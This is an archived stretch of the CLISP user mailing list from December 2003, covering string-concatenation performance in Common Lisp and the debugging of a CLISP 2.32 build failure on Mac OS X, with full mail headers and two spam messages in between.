clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 21 16:24:01 2003 X-Original-Date: Sun, 21 Dec 2003 19:23:11 -0500 >> I wrote a replacement for EXT:STRING-CONCAT that speeds things up a >> lot for my appl. It works by working with a growable string array >> and pre-allocating space as it gets bigger. > the return value is not a simple string. not sure why this matters to me? My application works the same either way... > (defun concat-strings (strings) > ... > this is pretty much the same as (apply #'string-concat strings). This is at least 100 times faster than my function (!) Can you give me a hint as to why? And thanks! --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From sds@alphatech.com Sun Dec 21 17:13:33 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AYEdZ-0004Tv-F7 for clisp-list@lists.sourceforge.net; Sun, 21 Dec 2003 17:13:33 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AYEdZ-00031E-18 for clisp-list@lists.sourceforge.net; Sun, 21 Dec 2003 17:13:33 -0800 Received: from WINSTEINGOLDLAP ([192.168.1.100]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hBM1DKJ27366; Sun, 21 Dec 2003 20:13:20 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, "John K. Hinsdale" Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200312220023.hBM0NBdG021070@van-halen.alma.com> (John K. Hinsdale's message of "Sun, 21 Dec 2003 19:23:11 -0500") References: <200312220023.hBM0NBdG021070@van-halen.alma.com> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Lisp question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 21 17:14:26 2003 X-Original-Date: Sun, 21 Dec 2003 20:13:19 -0500 > * John K. Hinsdale [2003-12-21 19:23:11 -0500]: > > > (defun concat-strings (strings) > > ... > > this is pretty much the same as (apply #'string-concat strings). you can check and see that (apply #'string-concat strings) is even better because it's in C, not bytecode. > This is at least 100 times faster than my function (!) Can you give me > a hint as to why? And thanks! 1. never allocates any garbage - moreover, allocates exactly the amount of memory needed. 2. avoids funcall overhead: one function call instead of (length arglist) funcalls inside reduce -- Sam Steingold (http://www.podval.org/~sds) running w2k C combines the power of assembler with the portability of assembler. From pascal@informatimago.com Sun Dec 21 17:37:24 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AYF0e-0006Tu-At for clisp-list@lists.sourceforge.net; Sun, 21 Dec 2003 17:37:24 -0800 Received: from [62.93.174.78] (helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AYF0d-00022z-G1 for clisp-list@lists.sourceforge.net; Sun, 21 Dec 2003 17:37:23 -0800 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 46694586E2; Mon, 22 Dec 2003 02:37:15 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 6558E38297; Mon, 22 Dec 2003 02:36:32 +0100 (CET) Message-ID: <16358.19104.347472.913508@thalassa.informatimago.com> To: "John K. Hinsdale" Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: Lisp question In-Reply-To: <200312220023.hBM0NBdG021070@van-halen.alma.com> References: <200312220023.hBM0NBdG021070@van-halen.alma.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 21 17:38:01 2003 X-Original-Date: Mon, 22 Dec 2003 02:36:32 +0100 John K. Hinsdale writes: > > >> I wrote a replacement for EXT:STRING-CONCAT that speeds things up a > >> lot for my appl. It works by working with a growable string array > >> and pre-allocating space as it gets bigger. > > > the return value is not a simple string. > > not sure why this matters to me? My application works the same either way... > > > (defun concat-strings (strings) > > ... > > this is pretty much the same as (apply #'string-concat strings). > > This is at least 100 times faster than my function (!) Can you give me a > hint as to why? And thanks! For: (dotimes (i 2000) (push "xxxxxxxxxx" l)) you'll end up with a string of 20000 characters. Your function will have to allocate (ceiling (/ (log (/ total-size 100)) (log 2))) [= 8 for 20000 characters] strings of increasing sizes [O(log(n)], with copying the intermediary concatenations [O(n*log(n))] while the other function will allocate one string [O(1)] and copy the bytes once [O(n)]. [Note that for strings, (length s) is O(1)]. -- __Pascal_Bourguignon__ . * * . * .* . http://www.informatimago.com/ . * . .* There is no worse tyranny than to force * . . /\ ( . * a man to pay for what he does not . . / .\ . * . want merely because you think it .*. / * \ . . would be good for him. -- Robert Heinlein . /* o \ . http://www.theadvocates.org/ * '''||''' . SCO Spam-magnet: postmaster@sco.com ****************** From hin@van-halen.alma.com Sun Dec 21 18:08:31 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AYFUl-0007Wq-9t for clisp-list@lists.sourceforge.net; Sun, 21 Dec 2003 18:08:31 -0800 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AYFUk-00087o-WC for clisp-list@lists.sourceforge.net; Sun, 21 Dec 2003 18:08:31 -0800 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id BDB2710DE3D for ; Sun, 21 Dec 2003 21:08:29 -0500 (EST) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id hBM28T8M021765 for ; Sun, 21 Dec 2003 21:08:29 -0500 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id hBM28Tho021762; Sun, 21 Dec 2003 21:08:29 -0500 Message-Id: <200312220208.hBM28Tho021762@van-halen.alma.com> From: "John K. Hinsdale" To: clisp-list@lists.sourceforge.net Cc: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Sun, 21 Dec 2003 20:13:19 -0500) Subject: Re: [clisp-list] Re: Lisp question X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 21 18:09:01 2003 X-Original-Date: Sun, 21 Dec 2003 21:08:29 -0500 > you can check and see that (apply #'string-concat strings) is even > better because it's in C, not bytecode. Yes, but I think you said a while back that using APPLY will construct an actual function call w/ list of arguments as determined by STRINGS arg ... which in my situations will blow out CALL-ARGUMENTS-LIMIT (my lists get quite huge). Thanks for all the explantations; my code will benefit. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From sds@alphatech.com Sun Dec 21 18:29:58 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AYFpW-00088H-M5 for clisp-list@lists.sourceforge.net; Sun, 21 Dec 2003 18:29:58 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AYFpW-0004Jl-8i for clisp-list@lists.sourceforge.net; Sun, 21 Dec 2003 18:29:58 -0800 Received: from WINSTEINGOLDLAP ([192.168.1.100]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hBM2TjJ13110; Sun, 21 Dec 2003 21:29:46 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, "John K. Hinsdale" Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200312220208.hBM28Tho021762@van-halen.alma.com> (John K. Hinsdale's message of "Sun, 21 Dec 2003 21:08:29 -0500") References: <200312220208.hBM28Tho021762@van-halen.alma.com> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Lisp question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 21 18:30:03 2003 X-Original-Date: Sun, 21 Dec 2003 21:29:44 -0500 > * John K. Hinsdale [2003-12-21 21:08:29 -0500]: > > > you can check and see that (apply #'string-concat strings) is even > > better because it's in C, not bytecode. > > Yes, but I think you said a while back that using APPLY will construct > an actual function call w/ list of arguments as determined by STRINGS > arg ... which in my situations will blow out CALL-ARGUMENTS-LIMIT (my > lists get quite huge). yes, and this is why you are doomed to using either REDUCE or my function. -- Sam Steingold (http://www.podval.org/~sds) running w2k Don't use force -- get a bigger hammer. From don-sourceforge@isis.cs3-inc.com Sun Dec 21 22:48:14 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AYJrS-00018d-Na for clisp-list@lists.sourceforge.net; Sun, 21 Dec 2003 22:48:14 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AYJrQ-00077Z-Qy for clisp-list@lists.sourceforge.net; Sun, 21 Dec 2003 22:48:12 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id hBM6fDX13982 for clisp-list@lists.sourceforge.net; Sun, 21 Dec 2003 22:41:13 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforge using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforge@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16358.37385.27930.494882@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] re: appending strings Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 21 22:49:01 2003 X-Original-Date: Sun, 21 Dec 2003 22:41:13 -0800 > > I do a lot of string concatenation, generating a large string of HTML > > page, built from lots of small strings retrieved from a database, so I > > wrote a replacement for EXT:STRING-CONCAT that speeds things up a lot > > for my appl. It works by working with a growable string array and > > pre-allocating space as it gets bigger. It sounds like you're going to end up writing the concatenated string to a socket stream. Why not output the strings separately? I wonder how (with-output-to-string (st) (loop for s in strings do (princ s st))) would perform. From dgou@mac.com Mon Dec 22 06:37:57 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AYRC1-0001pP-8i for clisp-list@lists.sourceforge.net; Mon, 22 Dec 2003 06:37:57 -0800 Received: from smtpout.mac.com ([17.250.248.47]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AYRC1-0000zH-2F for clisp-list@lists.sourceforge.net; Mon, 22 Dec 2003 06:37:57 -0800 Received: from mac.com (smtpin07-en2 [10.13.10.152]) by smtpout.mac.com (8.12.6/MantshX 2.0) with ESMTP id hBMEbv7t021634 for ; Mon, 22 Dec 2003 06:37:57 -0800 (PST) Received: from [192.168.1.101] (15.pins2.xdsl.nauticom.net [209.195.172.144]) (authenticated bits=0) by mac.com (Xserve/smtpin07/MantshX 3.0) with ESMTP id hBMEbtRv023158 for ; Mon, 22 Dec 2003 06:37:56 -0800 (PST) Mime-Version: 1.0 (Apple Message framework v609) In-Reply-To: References: Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <6CF24A06-348C-11D8-8354-000393030214@mac.com> Content-Transfer-Encoding: 7bit From: Douglas Philips Subject: Re: [clisp-list] 2.32 looms! To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.609) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 22 06:38:01 2003 X-Original-Date: Mon, 22 Dec 2003 09:37:53 -0500 On Dec 21, 2003, at 4:23 PM, Sam Steingold wrote: > Please get CVS HEAD and test it. As you wish! Building on RedHat 8 and YellowDog 3, as of a few days ago, worked fine. Will repeat again in a day or so (hopefully less). Unfortunately Panther/OS X is not so lucky. I have the latest software updates including the Xcode update. Just did a cvs update a few minutes before sending this. The make (--without-dynamic-ffi was the only switch to the configure command) produces this: ("The Fix" is described below). ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW -x "(and (load \"init.lisp\") (sys::%saveinitmem) (ext::exit))" i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2003 ;; Loading file defseq.lisp ... ;; Loaded file defseq.lisp ;; Loading file backquote.lisp ... ;; Loaded file backquote.lisp ;; Loading file defmacro.lisp ... ;; Loaded file defmacro.lisp ;; Loading file macros1.lisp ... ;; Loaded file macros1.lisp ;; Loading file macros2.lisp ... ;; Loaded file macros2.lisp ;; Loading file defs1.lisp ... ;; Loaded file defs1.lisp ;; Loading file places.lisp ... ;; Loaded file places.lisp ;; Loading file floatprint.lisp ... ;; Loaded file floatprint.lisp ;; Loading file type.lisp ... *** - UNIX error 2 (ENOENT): No such file or directory Bye. mv lispimag.mem interpreted.mem mv: rename lispimag.mem to interpreted.mem: No such file or directory make: *** [interpreted.mem] Error 1 "The Fix" diff type.lisp ../src 1351c1351 < #-(and)(do-external-symbols (sym (find-package "CHARSET")) --- > (do-external-symbols (sym (find-package "CHARSET")) everything builds OK after that change, and the tests all pass. I'm not sure how to proceed in debugging that. Hopefully will have time to look in more detail between Xmas and New Years. I have not attempted to build any modules (on Pather). Will attempt all the modules on RedHat and YellowDog (sans dynamic-ffi) during the holidays too. Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <6CF24A06-348C-11D8-8354-000393030214@mac.com> (Douglas Philips's message of "Mon, 22 Dec 2003 09:37:53 -0500") References: <6CF24A06-348C-11D8-8354-000393030214@mac.com> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: 2.32 looms! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 22 08:00:01 2003 X-Original-Date: Mon, 22 Dec 2003 10:58:48 -0500 > * Douglas Philips [2003-12-22 09:37:53 -0500]: > >> Please get CVS HEAD and test it. > As you wish! thanks! > ;; Loading file type.lisp ... > *** - UNIX error 2 (ENOENT): No such file or directory > Bye. > mv lispimag.mem interpreted.mem > mv: rename lispimag.mem to interpreted.mem: No such file or directory > make: *** [interpreted.mem] Error 1 > > > "The Fix" > diff type.lisp ../src > 1351c1351 > < #-(and)(do-external-symbols (sym (find-package "CHARSET")) > --- > > (do-external-symbols (sym (find-package "CHARSET")) yuk, we have seen this before... please try (do-external-symbols (sym (find-package "CHARSET")) (print sym) (make-encoding :charset (encoding-charset (symbol-value sym)))) to find out which symbol is the culprit. then try the appended patch and see if it fixes the build -- Sam Steingold (http://www.podval.org/~sds) running w2k Don't hit a man when he's down -- kick him; it's easier. --- type.lisp.~1.49.~ 2003-07-22 19:42:26.104255800 -0400 +++ type.lisp 2003-12-22 10:57:31.654212800 -0500 @@ -1342,7 +1342,10 @@ (defun get-charset-range (charset &optional maxintervals) (or (gethash charset table) (setf (gethash charset table) - (charset-range (make-encoding :charset charset) + (charset-range (if (and (symbolp charset) + (encodingp (symbol-value charset))) + (symbol-value charset) + (make-encoding :charset charset)) (code-char 0) (code-char (1- char-code-limit)) maxintervals)))) ;; Fill the cache, but cache only the results with small lists of intervals. From jaefra2003@yahoo.com Mon Dec 22 11:20:17 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AYVbF-0008Mr-QI for clisp-list@lists.sourceforge.net; Mon, 22 Dec 2003 11:20:17 -0800 Received: from anna.dreamdns.net ([217.107.219.50]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.24) id 1AYVbE-0008BQ-Uo for clisp-list@lists.sourceforge.net; Mon, 22 Dec 2003 11:20:17 -0800 Received: from nobody by anna.dreamdns.net with local (Exim 4.24) id 1AYVb8-0004OB-6s; Mon, 22 Dec 2003 22:20:10 +0300 To: clisp-list@lists.sourceforge.net From: jaefra2003@yahoo.com To: clisp-list@lists.sourceforge.net Message-Id: X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - anna.dreamdns.net X-AntiAbuse: Original Domain - lists.sourceforge.net X-AntiAbuse: Originator/Caller UID/GID - [99 99] / [47 12] X-AntiAbuse: Sender Address Domain - yahoo.com X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 0.9 FROM_ENDS_IN_NUMS From: ends in numbers 0.5 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] Cheap Electronics Sale Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 22 11:21:01 2003 X-Original-Date: Mon, 22 Dec 2003 22:20:10 +0300 Leading on-line e-commerce enterprise suggests you kitchen equipment of worldwide known manufacturers Direct shipping from Russia. You are always welcome at our internet site (www.mishop.ru ) to make an order of your need. ON-line store www.mishop.ru administration From jaefra2003@yahoo.com Mon Dec 22 11:24:38 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AYVfS-00009N-KI for clisp-list@lists.sourceforge.net; Mon, 22 Dec 2003 11:24:38 -0800 Received: from anna.dreamdns.net ([217.107.219.50]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.24) id 1AYVb9-0005Bf-Rs for clisp-list@lists.sourceforge.net; Mon, 22 Dec 2003 11:20:12 -0800 Received: from nobody by anna.dreamdns.net with local (Exim 4.24) id 1AYVb3-0004MT-J1; Mon, 22 Dec 2003 22:20:05 +0300 To: clisp-list@lists.sourceforge.net From: jaefra2003@yahoo.com To: clisp-list@lists.sourceforge.net Message-Id: X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - anna.dreamdns.net X-AntiAbuse: Original Domain - lists.sourceforge.net X-AntiAbuse: Originator/Caller UID/GID - [99 99] / [47 12] X-AntiAbuse: Sender Address Domain - yahoo.com X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 0.9 FROM_ENDS_IN_NUMS From: ends in numbers 0.5 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] Cheap Electronics Sale Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 22 11:25:24 2003 X-Original-Date: Mon, 22 Dec 2003 22:20:05 +0300 Leading on-line e-commerce enterprise suggests you kitchen equipment of worldwide known manufacturers Direct shipping from Russia. You are always welcome at our internet site (www.mishop.ru ) to make an order of your need. ON-line store www.mishop.ru administration From dgou@mac.com Mon Dec 22 21:41:21 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AYfIH-00068N-5O for clisp-list@lists.sourceforge.net; Mon, 22 Dec 2003 21:41:21 -0800 Received: from smtpout.mac.com ([17.250.248.45]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AYfIG-0003Vv-UT for clisp-list@lists.sourceforge.net; Mon, 22 Dec 2003 21:41:20 -0800 Received: from mac.com (smtpin08-en2 [10.13.10.153]) by smtpout.mac.com (Xserve/MantshX 2.0) with ESMTP id hBN5fxAD016430 for ; Mon, 22 Dec 2003 21:41:59 -0800 (PST) Received: from [192.168.1.101] (15.pins2.xdsl.nauticom.net [209.195.172.144]) (authenticated bits=0) by mac.com (Xserve/smtpin08/MantshX 3.0) with ESMTP id hBN5fKHO019996 for ; Mon, 22 Dec 2003 21:41:20 -0800 (PST) Mime-Version: 1.0 (Apple Message framework v609) In-Reply-To: References: <6CF24A06-348C-11D8-8354-000393030214@mac.com> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Douglas Philips To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.609) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: 2.32 looms! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 22 21:42:00 2003 X-Original-Date: Tue, 23 Dec 2003 00:41:17 -0500 >> "The Fix" >> diff type.lisp ../src >> 1351c1351 >> < #-(and)(do-external-symbols (sym (find-package "CHARSET")) >> --- >>> (do-external-symbols (sym (find-package "CHARSET")) > > yuk, we have seen this before... > please try > > (do-external-symbols (sym (find-package "CHARSET")) > (print sym) > (make-encoding :charset (encoding-charset (symbol-value sym)))) > > to find out which symbol is the culprit. % ./lisp.run -B . -Efile UTF-8 -Eterminal UTF-8 -norc -m 750KW i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2003 WARNING: No initialization file specified. Please try: ./lisp.run -M lispinit.mem > (do-external-symbols (sym (find-package "CHARSET")) (print sym) (make-encoding :charset (encoding-charset (symbol-value sym)))) *** - EVAL: undefined function DO-EXTERNAL-SYMBOLS 1. Break> However, adding: (defun cs-r (enc s e ivals) (print enc) (print s) (print e) (print ivals) (print "") (charset-range enc s e ivals)) ;; and then changing the code to call cs-r (poor man's trace) ;; Loading file type.lisp ... # #\Null #\U0010FFFF 100 "" *** - UNIX error 2 (ENOENT): No such file or directory Bye. From hin@van-halen.alma.com Tue Dec 23 04:32:40 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AYliK-0002UM-Fh for clisp-list@lists.sourceforge.net; Tue, 23 Dec 2003 04:32:40 -0800 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AYliK-0003GS-6y for clisp-list@lists.sourceforge.net; Tue, 23 Dec 2003 04:32:40 -0800 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id C180B10DE38 for ; Tue, 23 